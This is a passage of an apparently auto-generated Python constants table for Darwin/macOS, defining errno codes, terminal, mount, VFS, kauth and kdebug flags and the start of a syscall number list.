Constant('CTL_FLAG_REG_ID_UNIT',0x2) CTL_FLAG_REG_SOCK_STREAM = Constant('CTL_FLAG_REG_SOCK_STREAM',0x4) CTL_DATA_NOWAKEUP = Constant('CTL_DATA_NOWAKEUP',0x1) CTL_DATA_EOR = Constant('CTL_DATA_EOR',0x2) __has_safe_buffers = Constant('__has_safe_buffers',0) __DARWIN_ONLY_64_BIT_INO_T = Constant('__DARWIN_ONLY_64_BIT_INO_T',0) __DARWIN_ONLY_UNIX_CONFORMANCE = Constant('__DARWIN_ONLY_UNIX_CONFORMANCE',0) __DARWIN_ONLY_VERS_1050 = Constant('__DARWIN_ONLY_VERS_1050',0) __STDC_WANT_LIB_EXT1__ = Constant('__STDC_WANT_LIB_EXT1__',1) __DARWIN_NO_LONG_LONG = Constant('__DARWIN_NO_LONG_LONG',0) _DARWIN_FEATURE_64_BIT_INODE = Constant('_DARWIN_FEATURE_64_BIT_INODE',1) _DARWIN_FEATURE_ONLY_64_BIT_INODE = Constant('_DARWIN_FEATURE_ONLY_64_BIT_INODE',1) _DARWIN_FEATURE_ONLY_VERS_1050 = Constant('_DARWIN_FEATURE_ONLY_VERS_1050',1) _DARWIN_FEATURE_ONLY_UNIX_CONFORMANCE = Constant('_DARWIN_FEATURE_ONLY_UNIX_CONFORMANCE',1) _DARWIN_FEATURE_UNIX_CONFORMANCE = Constant('_DARWIN_FEATURE_UNIX_CONFORMANCE',3) __has_ptrcheck = Constant('__has_ptrcheck',0) MAXMAXPARTITIONS = Constant('MAXMAXPARTITIONS',22) NDDATA = Constant('NDDATA',5) NSPARE = Constant('NSPARE',5) DTYPE_SMD = Constant('DTYPE_SMD',1) DTYPE_MSCP = Constant('DTYPE_MSCP',2) DTYPE_DEC = Constant('DTYPE_DEC',3) DTYPE_SCSI = Constant('DTYPE_SCSI',4) DTYPE_ESDI = Constant('DTYPE_ESDI',5) DTYPE_ST506 = Constant('DTYPE_ST506',6) DTYPE_HPIB = Constant('DTYPE_HPIB',7) DTYPE_HPFL = Constant('DTYPE_HPFL',8) DTYPE_FLOPPY = Constant('DTYPE_FLOPPY',10) FS_UNUSED = Constant('FS_UNUSED',0) FS_SWAP = Constant('FS_SWAP',1) FS_V6 = Constant('FS_V6',2) FS_V7 = Constant('FS_V7',3) FS_SYSV = Constant('FS_SYSV',4) FS_V71K = Constant('FS_V71K',5) FS_V8 = Constant('FS_V8',6) FS_BSDFFS = Constant('FS_BSDFFS',7) FS_MSDOS = Constant('FS_MSDOS',8) FS_BSDLFS = Constant('FS_BSDLFS',9) FS_OTHER = Constant('FS_OTHER',10) FS_HPFS = Constant('FS_HPFS',11) FS_ISO9660 = Constant('FS_ISO9660',12) FS_BOOT = Constant('FS_BOOT',13) FS_ADOS = Constant('FS_ADOS',14) FS_HFS = Constant('FS_HFS',15) D_REMOVABLE = Constant('D_REMOVABLE',0x01) D_ECC = Constant('D_ECC',0x02) D_BADSECT = Constant('D_BADSECT',0x04) D_RAMDISK = Constant('D_RAMDISK',0x08) D_CHAIN = Constant('D_CHAIN',0x10) D_SSE = Constant('D_SSE',0x1) EPERM = Constant('EPERM',1) ENOENT = Constant('ENOENT',2) ESRCH = Constant('ESRCH',3) EINTR = Constant('EINTR',4) EIO = Constant('EIO',5) ENXIO = Constant('ENXIO',6) E2BIG = Constant('E2BIG',7) ENOEXEC = Constant('ENOEXEC',8) EBADF = Constant('EBADF',9) ECHILD = Constant('ECHILD',10) EDEADLK = Constant('EDEADLK',11) ENOMEM = Constant('ENOMEM',12) EACCES = Constant('EACCES',13) EFAULT = Constant('EFAULT',14) ENOTBLK = Constant('ENOTBLK',15) EBUSY = Constant('EBUSY',16) EEXIST = Constant('EEXIST',17) EXDEV = Constant('EXDEV',18) ENODEV = Constant('ENODEV',19) ENOTDIR = Constant('ENOTDIR',20) EISDIR = Constant('EISDIR',21) EINVAL = Constant('EINVAL',22) ENFILE = Constant('ENFILE',23) EMFILE = Constant('EMFILE',24) ENOTTY = Constant('ENOTTY',25) ETXTBSY = Constant('ETXTBSY',26) EFBIG = Constant('EFBIG',27) ENOSPC = Constant('ENOSPC',28) ESPIPE = Constant('ESPIPE',29) EROFS = Constant('EROFS',30) EMLINK = Constant('EMLINK',31) EPIPE = Constant('EPIPE',32) EDOM = Constant('EDOM',33) ERANGE = Constant('ERANGE',34) EAGAIN = Constant('EAGAIN',35) EINPROGRESS = Constant('EINPROGRESS',36) EALREADY = Constant('EALREADY',37) ENOTSOCK = Constant('ENOTSOCK',38) EDESTADDRREQ = Constant('EDESTADDRREQ',39) EMSGSIZE = Constant('EMSGSIZE',40) EPROTOTYPE = Constant('EPROTOTYPE',41) ENOPROTOOPT = Constant('ENOPROTOOPT',42) EPROTONOSUPPORT = Constant('EPROTONOSUPPORT',43) ESOCKTNOSUPPORT = Constant('ESOCKTNOSUPPORT',44) ENOTSUP = Constant('ENOTSUP',45) EPFNOSUPPORT = Constant('EPFNOSUPPORT',46) EAFNOSUPPORT = Constant('EAFNOSUPPORT',47) EADDRINUSE = Constant('EADDRINUSE',48) EADDRNOTAVAIL = Constant('EADDRNOTAVAIL',49) ENETDOWN = Constant('ENETDOWN',50) ENETUNREACH = Constant('ENETUNREACH',51) ENETRESET = Constant('ENETRESET',52) ECONNABORTED = Constant('ECONNABORTED',53) ECONNRESET = Constant('ECONNRESET',54) ENOBUFS = Constant('ENOBUFS',55) EISCONN = Constant('EISCONN',56) ENOTCONN = Constant('ENOTCONN',57) ESHUTDOWN = Constant('ESHUTDOWN',58) ETOOMANYREFS = Constant('ETOOMANYREFS',59) ETIMEDOUT = Constant('ETIMEDOUT',60) ECONNREFUSED = Constant('ECONNREFUSED',61) ELOOP = Constant('ELOOP',62) ENAMETOOLONG = Constant('ENAMETOOLONG',63) EHOSTDOWN = Constant('EHOSTDOWN',64) EHOSTUNREACH = Constant('EHOSTUNREACH',65) ENOTEMPTY = Constant('ENOTEMPTY',66) EPROCLIM = Constant('EPROCLIM',67) EUSERS = Constant('EUSERS',68) EDQUOT = Constant('EDQUOT',69) ESTALE = Constant('ESTALE',70) EREMOTE = Constant('EREMOTE',71) EBADRPC = Constant('EBADRPC',72) ERPCMISMATCH = Constant('ERPCMISMATCH',73) EPROGUNAVAIL = Constant('EPROGUNAVAIL',74) EPROGMISMATCH = Constant('EPROGMISMATCH',75) EPROCUNAVAIL = Constant('EPROCUNAVAIL',76) ENOLCK = Constant('ENOLCK',77) ENOSYS = Constant('ENOSYS',78) EFTYPE = Constant('EFTYPE',79) EAUTH = Constant('EAUTH',80) ENEEDAUTH = Constant('ENEEDAUTH',81) EPWROFF = Constant('EPWROFF',82) EDEVERR = Constant('EDEVERR',83) EOVERFLOW = Constant('EOVERFLOW',84) EBADEXEC = Constant('EBADEXEC',85) EBADARCH = Constant('EBADARCH',86) ESHLIBVERS = Constant('ESHLIBVERS',87) EBADMACHO = Constant('EBADMACHO',88) ECANCELED = Constant('ECANCELED',89) EIDRM = Constant('EIDRM',90) ENOMSG = Constant('ENOMSG',91) EILSEQ = Constant('EILSEQ',92) ENOATTR = Constant('ENOATTR',93) EBADMSG = Constant('EBADMSG',94) EMULTIHOP = Constant('EMULTIHOP',95) ENODATA = Constant('ENODATA',96) ENOLINK = Constant('ENOLINK',97) ENOSR = Constant('ENOSR',98) ENOSTR = Constant('ENOSTR',99) EPROTO = Constant('EPROTO',100) ETIME = Constant('ETIME',101) EOPNOTSUPP = Constant('EOPNOTSUPP',102) ENOPOLICY = Constant('ENOPOLICY',103) ENOTRECOVERABLE = Constant('ENOTRECOVERABLE',104) EOWNERDEAD = Constant('EOWNERDEAD',105) EQFULL = Constant('EQFULL',106) ELAST = Constant('ELAST',106) VEOF = Constant('VEOF',0) VEOL = Constant('VEOL',1) VEOL2 = Constant('VEOL2',2) VERASE = Constant('VERASE',3) VWERASE = Constant('VWERASE',4) VKILL = Constant('VKILL',5) VREPRINT = Constant('VREPRINT',6) VINTR = Constant('VINTR',8) VQUIT = Constant('VQUIT',9) VSUSP = Constant('VSUSP',10) VDSUSP = Constant('VDSUSP',11) VSTART = Constant('VSTART',12) VSTOP = Constant('VSTOP',13) VLNEXT = Constant('VLNEXT',14) VDISCARD = Constant('VDISCARD',15) VMIN = Constant('VMIN',16) VTIME = Constant('VTIME',17) VSTATUS = Constant('VSTATUS',18) NCCS = Constant('NCCS',20) IGNBRK = Constant('IGNBRK',0x00000001) BRKINT = Constant('BRKINT',0x00000002) IGNPAR = Constant('IGNPAR',0x00000004) PARMRK = Constant('PARMRK',0x00000008) INPCK = Constant('INPCK',0x00000010) ISTRIP = Constant('ISTRIP',0x00000020) INLCR = Constant('INLCR',0x00000040) IGNCR = Constant('IGNCR',0x00000080) ICRNL = Constant('ICRNL',0x00000100) IXON = Constant('IXON',0x00000200) IXOFF = Constant('IXOFF',0x00000400) IXANY = Constant('IXANY',0x00000800) IMAXBEL = Constant('IMAXBEL',0x00002000) IUTF8 = Constant('IUTF8',0x00004000) OPOST = Constant('OPOST',0x00000001) ONLCR = Constant('ONLCR',0x00000002) OXTABS = Constant('OXTABS',0x00000004) ONOEOT = Constant('ONOEOT',0x00000008) OCRNL = Constant('OCRNL',0x00000010) ONOCR = Constant('ONOCR',0x00000020) ONLRET = Constant('ONLRET',0x00000040) OFILL = Constant('OFILL',0x00000080) NLDLY = Constant('NLDLY',0x00000300) TABDLY = Constant('TABDLY',0x00000c04) CRDLY = Constant('CRDLY',0x00003000) FFDLY = Constant('FFDLY',0x00004000) BSDLY = Constant('BSDLY',0x00008000) VTDLY = Constant('VTDLY',0x00010000) OFDEL = Constant('OFDEL',0x00020000) TAB3 = Constant('TAB3',0x00000004) VT0 = Constant('VT0',0x00000000) VT1 = Constant('VT1',0x00010000) CIGNORE = Constant('CIGNORE',0x00000001) CSIZE = Constant('CSIZE',0x00000300) CS5 = Constant('CS5',0x00000000) CS6 = Constant('CS6',0x00000100) CS7 = Constant('CS7',0x00000200) CS8 = Constant('CS8',0x00000300) CSTOPB = Constant('CSTOPB',0x00000400) CREAD = Constant('CREAD',0x00000800) PARENB = Constant('PARENB',0x00001000) PARODD = Constant('PARODD',0x00002000) HUPCL = Constant('HUPCL',0x00004000) CLOCAL = Constant('CLOCAL',0x00008000) CCTS_OFLOW = Constant('CCTS_OFLOW',0x00010000) CRTS_IFLOW = Constant('CRTS_IFLOW',0x00020000) CDTR_IFLOW = Constant('CDTR_IFLOW',0x00040000) CDSR_OFLOW = Constant('CDSR_OFLOW',0x00080000) CCAR_OFLOW = Constant('CCAR_OFLOW',0x00100000) ECHOKE = Constant('ECHOKE',0x00000001) ECHOE = Constant('ECHOE',0x00000002) ECHOK = Constant('ECHOK',0x00000004) ECHONL = Constant('ECHONL',0x00000010) ECHOPRT = Constant('ECHOPRT',0x00000020) ECHOCTL = Constant('ECHOCTL',0x00000040) ISIG = Constant('ISIG',0x00000080) ICANON = Constant('ICANON',0x00000100) ALTWERASE = Constant('ALTWERASE',0x00000200) IEXTEN = Constant('IEXTEN',0x00000400) EXTPROC = Constant('EXTPROC',0x00000800) NOKERNINFO = Constant('NOKERNINFO',0x02000000) TCSANOW = Constant('TCSANOW',0) TCSADRAIN = Constant('TCSADRAIN',1) TCSAFLUSH = Constant('TCSAFLUSH',2) TCSASOFT = Constant('TCSASOFT',0x10) B0 = Constant('B0',0) B50 = Constant('B50',50) B75 = Constant('B75',75) B110 = Constant('B110',110) B134 = Constant('B134',134) B150 = Constant('B150',150) B200 = Constant('B200',200) B300 = Constant('B300',300) B600 = Constant('B600',600) B1200 = Constant('B1200',1200) B1800 = Constant('B1800',1800) B2400 = Constant('B2400',2400) B4800 = Constant('B4800',4800) B9600 = Constant('B9600',9600) B19200 = Constant('B19200',19200) B38400 = Constant('B38400',38400) B7200 = Constant('B7200',7200) B14400 = Constant('B14400',14400) B28800 = Constant('B28800',28800) B57600 = Constant('B57600',57600) B76800 = Constant('B76800',76800) B115200 = Constant('B115200',115200) B230400 = Constant('B230400',230400) EXTA = Constant('EXTA',19200) EXTB = Constant('EXTB',38400) RENAME_SECLUDE = Constant('RENAME_SECLUDE',0x00000001) RENAME_SWAP = Constant('RENAME_SWAP',0x00000002) RENAME_EXCL = Constant('RENAME_EXCL',0x00000004) RENAME_RESERVED1 = Constant('RENAME_RESERVED1',0x00000008) RENAME_NOFOLLOW_ANY = Constant('RENAME_NOFOLLOW_ANY',0x00000010) MFSNAMELEN = Constant('MFSNAMELEN',15) MFSTYPENAMELEN = Constant('MFSTYPENAMELEN',16) MNAMELEN = Constant('MNAMELEN',90) MNT_EXT_ROOT_DATA_VOL = Constant('MNT_EXT_ROOT_DATA_VOL',0x00000001) MNT_EXT_FSKIT = Constant('MNT_EXT_FSKIT',0x00000002) MNT_RDONLY = Constant('MNT_RDONLY',0x00000001) MNT_SYNCHRONOUS = Constant('MNT_SYNCHRONOUS',0x00000002) MNT_NOEXEC = Constant('MNT_NOEXEC',0x00000004) MNT_NOSUID = Constant('MNT_NOSUID',0x00000008) MNT_NODEV = Constant('MNT_NODEV',0x00000010) MNT_UNION = Constant('MNT_UNION',0x00000020) MNT_ASYNC = Constant('MNT_ASYNC',0x00000040) MNT_CPROTECT = Constant('MNT_CPROTECT',0x00000080) MNT_EXPORTED = Constant('MNT_EXPORTED',0x00000100) MNT_REMOVABLE = Constant('MNT_REMOVABLE',0x00000200) MNT_QUARANTINE = Constant('MNT_QUARANTINE',0x00000400) MNT_LOCAL = Constant('MNT_LOCAL',0x00001000) MNT_QUOTA = Constant('MNT_QUOTA',0x00002000) MNT_ROOTFS = Constant('MNT_ROOTFS',0x00004000) MNT_DOVOLFS = Constant('MNT_DOVOLFS',0x00008000) MNT_DONTBROWSE = Constant('MNT_DONTBROWSE',0x00100000) MNT_IGNORE_OWNERSHIP = Constant('MNT_IGNORE_OWNERSHIP',0x00200000) MNT_AUTOMOUNTED = Constant('MNT_AUTOMOUNTED',0x00400000) MNT_JOURNALED = Constant('MNT_JOURNALED',0x00800000) MNT_NOUSERXATTR = Constant('MNT_NOUSERXATTR',0x01000000) MNT_DEFWRITE = Constant('MNT_DEFWRITE',0x02000000) MNT_MULTILABEL = Constant('MNT_MULTILABEL',0x04000000) MNT_NOFOLLOW = Constant('MNT_NOFOLLOW',0x08000000) MNT_NOATIME = Constant('MNT_NOATIME',0x10000000) MNT_SNAPSHOT = Constant('MNT_SNAPSHOT',0x40000000) MNT_STRICTATIME = Constant('MNT_STRICTATIME',0x80000000) MNT_UPDATE = Constant('MNT_UPDATE',0x00010000) MNT_NOBLOCK = Constant('MNT_NOBLOCK',0x00020000) MNT_RELOAD = Constant('MNT_RELOAD',0x00040000) MNT_FORCE = Constant('MNT_FORCE',0x00080000) VFS_GENERIC = Constant('VFS_GENERIC',0) VFS_NUMMNTOPS = Constant('VFS_NUMMNTOPS',1) VFS_MAXTYPENUM = Constant('VFS_MAXTYPENUM',1) VFS_CONF = Constant('VFS_CONF',2) MNT_WAIT = Constant('MNT_WAIT',1) MNT_NOWAIT = Constant('MNT_NOWAIT',2) MNT_DWAIT = Constant('MNT_DWAIT',4) MNT_VOLUME = Constant('MNT_VOLUME',8) VFS_CTL_VERS1 = Constant('VFS_CTL_VERS1',0x01) VFS_CTL_OSTATFS = Constant('VFS_CTL_OSTATFS',0x00010001) VFS_CTL_UMOUNT = Constant('VFS_CTL_UMOUNT',0x00010002) VFS_CTL_QUERY = Constant('VFS_CTL_QUERY',0x00010003) VFS_CTL_NEWADDR = Constant('VFS_CTL_NEWADDR',0x00010004) VFS_CTL_TIMEO = Constant('VFS_CTL_TIMEO',0x00010005) VFS_CTL_NOLOCKS = Constant('VFS_CTL_NOLOCKS',0x00010006) VFS_CTL_SADDR = Constant('VFS_CTL_SADDR',0x00010007) VFS_CTL_DISC = Constant('VFS_CTL_DISC',0x00010008) VFS_CTL_SERVERINFO = Constant('VFS_CTL_SERVERINFO',0x00010009) VFS_CTL_NSTATUS = Constant('VFS_CTL_NSTATUS',0x0001000A) VFS_CTL_STATFS64 = Constant('VFS_CTL_STATFS64',0x0001000B) VQ_NOTRESP = Constant('VQ_NOTRESP',0x0001) VQ_NEEDAUTH = Constant('VQ_NEEDAUTH',0x0002) VQ_LOWDISK = Constant('VQ_LOWDISK',0x0004) VQ_MOUNT = Constant('VQ_MOUNT',0x0008) VQ_UNMOUNT = Constant('VQ_UNMOUNT',0x0010) VQ_DEAD = Constant('VQ_DEAD',0x0020) VQ_ASSIST = Constant('VQ_ASSIST',0x0040) VQ_NOTRESPLOCK = Constant('VQ_NOTRESPLOCK',0x0080) VQ_UPDATE = Constant('VQ_UPDATE',0x0100) VQ_VERYLOWDISK = Constant('VQ_VERYLOWDISK',0x0200) VQ_SYNCEVENT = Constant('VQ_SYNCEVENT',0x0400) VQ_SERVEREVENT = Constant('VQ_SERVEREVENT',0x0800) VQ_QUOTA = Constant('VQ_QUOTA',0x1000) VQ_NEARLOWDISK = Constant('VQ_NEARLOWDISK',0x2000) VQ_DESIRED_DISK = Constant('VQ_DESIRED_DISK',0x4000) VQ_FREE_SPACE_CHANGE = Constant('VQ_FREE_SPACE_CHANGE',0x8000) VQ_PURGEABLE_SPACE_CHANGE = Constant('VQ_PURGEABLE_SPACE_CHANGE',0x10000) VQ_FLAG20000 = Constant('VQ_FLAG20000',0x20000) VFS_IOATTR_FLAGS_FUA = Constant('VFS_IOATTR_FLAGS_FUA',0x00000001) VFS_IOATTR_FLAGS_UNMAP = Constant('VFS_IOATTR_FLAGS_UNMAP',0x00000002) VFS_IOATTR_FLAGS_SWAPPIN_SUPPORTED = Constant('VFS_IOATTR_FLAGS_SWAPPIN_SUPPORTED',0x00000010) VFS_TBLTHREADSAFE = Constant('VFS_TBLTHREADSAFE',0x0001) VFS_TBLFSNODELOCK = Constant('VFS_TBLFSNODELOCK',0x0002) VFS_TBLNOTYPENUM = Constant('VFS_TBLNOTYPENUM',0x0008) VFS_TBLLOCALVOL = Constant('VFS_TBLLOCALVOL',0x0010) VFS_TBL64BITREADY = Constant('VFS_TBL64BITREADY',0x0020) VFS_TBLNATIVEXATTR = Constant('VFS_TBLNATIVEXATTR',0x0040) VFS_TBLDIRLINKS = Constant('VFS_TBLDIRLINKS',0x0080) VFS_TBLUNMOUNT_PREFLIGHT = Constant('VFS_TBLUNMOUNT_PREFLIGHT',0x0100) VFS_TBLGENERICMNTARGS = Constant('VFS_TBLGENERICMNTARGS',0x0200) VFS_TBLREADDIR_EXTENDED = Constant('VFS_TBLREADDIR_EXTENDED',0x0400) VFS_TBLNOMACLABEL = Constant('VFS_TBLNOMACLABEL',0x1000) VFS_TBLVNOP_PAGEINV2 = Constant('VFS_TBLVNOP_PAGEINV2',0x2000) VFS_TBLVNOP_PAGEOUTV2 = Constant('VFS_TBLVNOP_PAGEOUTV2',0x4000) VFS_TBLVNOP_NOUPDATEID_RENAME = Constant('VFS_TBLVNOP_NOUPDATEID_RENAME',0x8000) VFS_TBLVNOP_SECLUDE_RENAME = Constant('VFS_TBLVNOP_SECLUDE_RENAME',0x10000) VFS_TBLCANMOUNTROOT = Constant('VFS_TBLCANMOUNTROOT',0x20000) VFSIOC_MOUNT_BYROLE_has_recovery = Constant('VFSIOC_MOUNT_BYROLE_has_recovery',1) VFS_RETURNED = Constant('VFS_RETURNED',0) VFS_RETURNED_DONE = Constant('VFS_RETURNED_DONE',1) VFS_CLAIMED = Constant('VFS_CLAIMED',2) VFS_CLAIMED_DONE = Constant('VFS_CLAIMED_DONE',3) VFS_USER_EVENT = Constant('VFS_USER_EVENT',0) VFS_KERNEL_EVENT = Constant('VFS_KERNEL_EVENT',1) LK_NOWAIT = Constant('LK_NOWAIT',1) NFSV4_MAX_FH_SIZE = Constant('NFSV4_MAX_FH_SIZE',128) NFSV3_MAX_FH_SIZE = Constant('NFSV3_MAX_FH_SIZE',64) NFSV2_MAX_FH_SIZE = Constant('NFSV2_MAX_FH_SIZE',32) CRYPTEX_AUTH_STRUCT_VERSION = Constant('CRYPTEX_AUTH_STRUCT_VERSION',2) EV_FD = Constant('EV_FD',1) EV_RE = Constant('EV_RE',1) EV_WR = Constant('EV_WR',2) EV_EX = Constant('EV_EX',4) EV_RM = Constant('EV_RM',8) EV_MASK = Constant('EV_MASK',0xf) EV_RBYTES = Constant('EV_RBYTES',0x100) EV_WBYTES = Constant('EV_WBYTES',0x200) EV_RCLOSED = Constant('EV_RCLOSED',0x400) EV_RCONN = Constant('EV_RCONN',0x800) EV_WCLOSED = Constant('EV_WCLOSED',0x1000) EV_WCONN = Constant('EV_WCONN',0x2000) EV_OOB = Constant('EV_OOB',0x4000) EV_FIN = Constant('EV_FIN',0x8000) EV_RESET = Constant('EV_RESET',0x10000) EV_TIMEOUT = Constant('EV_TIMEOUT',0x20000) EV_DMASK = Constant('EV_DMASK',0xffffff00) KDEBUG_LEVEL_NONE = Constant('KDEBUG_LEVEL_NONE',0) KDEBUG_LEVEL_IST = Constant('KDEBUG_LEVEL_IST',1) KDEBUG_LEVEL_STANDARD = Constant('KDEBUG_LEVEL_STANDARD',2) KDEBUG_LEVEL_FULL = Constant('KDEBUG_LEVEL_FULL',3) KDBG_FLAG_FILTERED = Constant('KDBG_FLAG_FILTERED',0x01) KDBG_FLAG_NOPROCFILT = Constant('KDBG_FLAG_NOPROCFILT',0x02) __DARWIN_LITTLE_ENDIAN = Constant('__DARWIN_LITTLE_ENDIAN',1234) __DARWIN_BIG_ENDIAN = Constant('__DARWIN_BIG_ENDIAN',4321) __DARWIN_PDP_ENDIAN = Constant('__DARWIN_PDP_ENDIAN',3412) USE_CLANG_TYPES = Constant('USE_CLANG_TYPES',0) __DARWIN_NULL = Constant('__DARWIN_NULL',0) UBC_PUSHDIRTY = Constant('UBC_PUSHDIRTY',0x01) UBC_PUSHALL = Constant('UBC_PUSHALL',0x02) UBC_INVALIDATE = Constant('UBC_INVALIDATE',0x04) UBC_SYNC = Constant('UBC_SYNC',0x08) KAUTH_NTSID_MAX_AUTHORITIES = Constant('KAUTH_NTSID_MAX_AUTHORITIES',16) KAUTH_EXTLOOKUP_SUCCESS = Constant('KAUTH_EXTLOOKUP_SUCCESS',0) KAUTH_EXTLOOKUP_BADRQ = Constant('KAUTH_EXTLOOKUP_BADRQ',1) KAUTH_EXTLOOKUP_FAILURE = Constant('KAUTH_EXTLOOKUP_FAILURE',2) KAUTH_EXTLOOKUP_FATAL = Constant('KAUTH_EXTLOOKUP_FATAL',3) KAUTH_EXTLOOKUP_INPROG = Constant('KAUTH_EXTLOOKUP_INPROG',100) KAUTH_ACE_KINDMASK = Constant('KAUTH_ACE_KINDMASK',0xf) KAUTH_ACE_PERMIT = Constant('KAUTH_ACE_PERMIT',1) KAUTH_ACE_DENY = Constant('KAUTH_ACE_DENY',2) KAUTH_ACE_AUDIT = Constant('KAUTH_ACE_AUDIT',3) KAUTH_ACE_ALARM = Constant('KAUTH_ACE_ALARM',4) KAUTH_ACL_MAX_ENTRIES = Constant('KAUTH_ACL_MAX_ENTRIES',128) KAUTH_FILESEC_MAGIC = Constant('KAUTH_FILESEC_MAGIC',0x012cc16d) KAUTH_ENDIAN_HOST = Constant('KAUTH_ENDIAN_HOST',0x00000001) KAUTH_ENDIAN_DISK = Constant('KAUTH_ENDIAN_DISK',0x00000002) KAUTH_GENERIC_ISSUSER = Constant('KAUTH_GENERIC_ISSUSER',1) KAUTH_PROCESS_CANSIGNAL = Constant('KAUTH_PROCESS_CANSIGNAL',1) KAUTH_PROCESS_CANTRACE = Constant('KAUTH_PROCESS_CANTRACE',2) KAUTH_FILEOP_OPEN = Constant('KAUTH_FILEOP_OPEN',1) KAUTH_FILEOP_CLOSE = Constant('KAUTH_FILEOP_CLOSE',2) KAUTH_FILEOP_RENAME = Constant('KAUTH_FILEOP_RENAME',3) KAUTH_FILEOP_EXCHANGE = Constant('KAUTH_FILEOP_EXCHANGE',4) KAUTH_FILEOP_LINK = Constant('KAUTH_FILEOP_LINK',5) KAUTH_FILEOP_EXEC = Constant('KAUTH_FILEOP_EXEC',6) KAUTH_FILEOP_DELETE = Constant('KAUTH_FILEOP_DELETE',7) KAUTH_FILEOP_WILL_RENAME = Constant('KAUTH_FILEOP_WILL_RENAME',8) DBG_PPT = Constant('DBG_PPT',36) DBG_PERFCTRL = Constant('DBG_PERFCTRL',39) DBG_CLPC = Constant('DBG_CLPC',50) DBG_MUSE = Constant('DBG_MUSE',52) DBG_ANS = Constant('DBG_ANS',128) DBG_SIO = Constant('DBG_SIO',129) DBG_SEP = Constant('DBG_SEP',130) DBG_ISP = Constant('DBG_ISP',131) DBG_OSCAR = Constant('DBG_OSCAR',132) DBG_EMBEDDEDGFX = Constant('DBG_EMBEDDEDGFX',133) DBG_PMP = Constant('DBG_PMP',134) DBG_RTKIT = Constant('DBG_RTKIT',135) DBG_DCP = Constant('DBG_DCP',136) DBG_KMP = Constant('DBG_KMP',137) DBG_SKYWALK_ALWAYSON = Constant('DBG_SKYWALK_ALWAYSON',0x10) DBG_SKYWALK_FLOWSWITCH = Constant('DBG_SKYWALK_FLOWSWITCH',0x11) DBG_SKYWALK_NETIF = Constant('DBG_SKYWALK_NETIF',0x12) DBG_SKYWALK_CHANNEL = Constant('DBG_SKYWALK_CHANNEL',0x13) DBG_SKYWALK_PACKET = Constant('DBG_SKYWALK_PACKET',0x14) DBG_AQM_ALWAYSON = Constant('DBG_AQM_ALWAYSON',0x30) DBG_AQM_STATS = Constant('DBG_AQM_STATS',0x31) PPT_TEST = Constant('PPT_TEST',0x01) PPT_JETSAM_HIWAT = Constant('PPT_JETSAM_HIWAT',0x02) PPT_JETSAM_TOPPROC = Constant('PPT_JETSAM_TOPPROC',0x03) DBG_SEC_SSMA = Constant('DBG_SEC_SSMA',0x02) KDBG_CPU_SHIFT = Constant('KDBG_CPU_SHIFT',56) KDBG_INIT = Constant('KDBG_INIT',0x01) KDBG_FREERUN = Constant('KDBG_FREERUN',0x04) KDBG_CPUMAP_IS_IOP = Constant('KDBG_CPUMAP_IS_IOP',0x1) KDEBUG_COMMPAGE_ENABLE_TRACE = Constant('KDEBUG_COMMPAGE_ENABLE_TRACE',0x1) KDEBUG_COMMPAGE_ENABLE_TYPEFILTER = Constant('KDEBUG_COMMPAGE_ENABLE_TYPEFILTER',0x2) KDEBUG_COMMPAGE_CONTINUOUS = Constant('KDEBUG_COMMPAGE_CONTINUOUS',0x4) KDBG_LOCKINIT = Constant('KDBG_LOCKINIT',0x0080) KDBG_CLASSTYPE = Constant('KDBG_CLASSTYPE',0x10000) KDBG_SUBCLSTYPE = Constant('KDBG_SUBCLSTYPE',0x20000) KDBG_RANGETYPE = Constant('KDBG_RANGETYPE',0x40000) KDBG_TYPENONE = Constant('KDBG_TYPENONE',0x80000) KDBG_CKTYPES = Constant('KDBG_CKTYPES',0xF0000) RAW_VERSION0 = Constant('RAW_VERSION0',0x55aa0000) RAW_VERSION1 = Constant('RAW_VERSION1',0x55aa0101) RAW_VERSION2 = Constant('RAW_VERSION2',0x55aa0200) kEnTrCompKernel = Constant('kEnTrCompKernel',2) kEnTrActKernSocket = Constant('kEnTrActKernSocket',1) kEnTrActKernSockRead = Constant('kEnTrActKernSockRead',2) kEnTrActKernSockWrite = Constant('kEnTrActKernSockWrite',3) kEnTrActKernPoll = Constant('kEnTrActKernPoll',10) kEnTrActKernSelect = Constant('kEnTrActKernSelect',11) kEnTrActKernKQWait = Constant('kEnTrActKernKQWait',12) kEnTrEvUnblocked = Constant('kEnTrEvUnblocked',256) kEnTrFlagNonBlocking = Constant('kEnTrFlagNonBlocking',0x1) kEnTrFlagNoWork = Constant('kEnTrFlagNoWork',0x2) ENTR_SHOULDTRACE = Constant('ENTR_SHOULDTRACE',0) SYS_syscall = Constant('SYS_syscall',0 + 0x2000000) SYS_exit = Constant('SYS_exit',1 + 0x2000000) SYS_fork = Constant('SYS_fork',2 + 0x2000000) SYS_read = Constant('SYS_read',3 + 0x2000000) SYS_write = Constant('SYS_write',4 + 0x2000000) SYS_open = Constant('SYS_open',5 + 0x2000000) SYS_close = Constant('SYS_close',6 + 0x2000000) SYS_wait4 = Constant('SYS_wait4',7 + 0x2000000) SYS_link = Constant('SYS_link',9 + 0x2000000) SYS_unlink = Constant('SYS_unlink',10 + 0x2000000) SYS_chdir = Constant('SYS_chdir',12 + 0x2000000) SYS_fchdir = Constant('SYS_fchdir',13 + 0x2000000) SYS_mknod = Constant('SYS_mknod',14 + 0x2000000) SYS_chmod = Constant('SYS_chmod',15 + 0x2000000) SYS_chown = Constant('SYS_chown',16 + 0x2000000) SYS_getfsstat = Constant('SYS_getfsstat',18 + 0x2000000) SYS_getpid = Constant('SYS_getpid',20 + 0x2000000) SYS_setuid = Constant('SYS_setuid',23 + 0x2000000) SYS_getuid = Constant('SYS_getuid',24 + 0x2000000) SYS_geteuid = Constant('SYS_geteuid',25 + 0x2000000) SYS_ptrace = Constant('SYS_ptrace',26 + 0x2000000) SYS_recvmsg = Constant('SYS_recvmsg',27 + 0x2000000) SYS_sendmsg = Constant('SYS_sendmsg',28 + 0x2000000) SYS_recvfrom = Constant('SYS_recvfrom',29 + 0x2000000) SYS_accept = Constant('SYS_accept',30 + 0x2000000) SYS_getpeername = Constant('SYS_getpeername',31 + 0x2000000) SYS_getsockname = Constant('SYS_getsockname',32 + 0x2000000) SYS_access = Constant('SYS_access',33 + 0x2000000) SYS_chflags = Constant('SYS_chflags',34 + 0x2000000) SYS_fchflags = Constant('SYS_fchflags',35 + 0x2000000) SYS_sync = Constant('SYS_sync',36 + 0x2000000) SYS_kill = Constant('SYS_kill',37 + 0x2000000) SYS_crossarch_trap = Constant('SYS_crossarch_trap',38 + 0x2000000) SYS_getppid = Constant('SYS_getppid',39 + 0x2000000) SYS_dup = 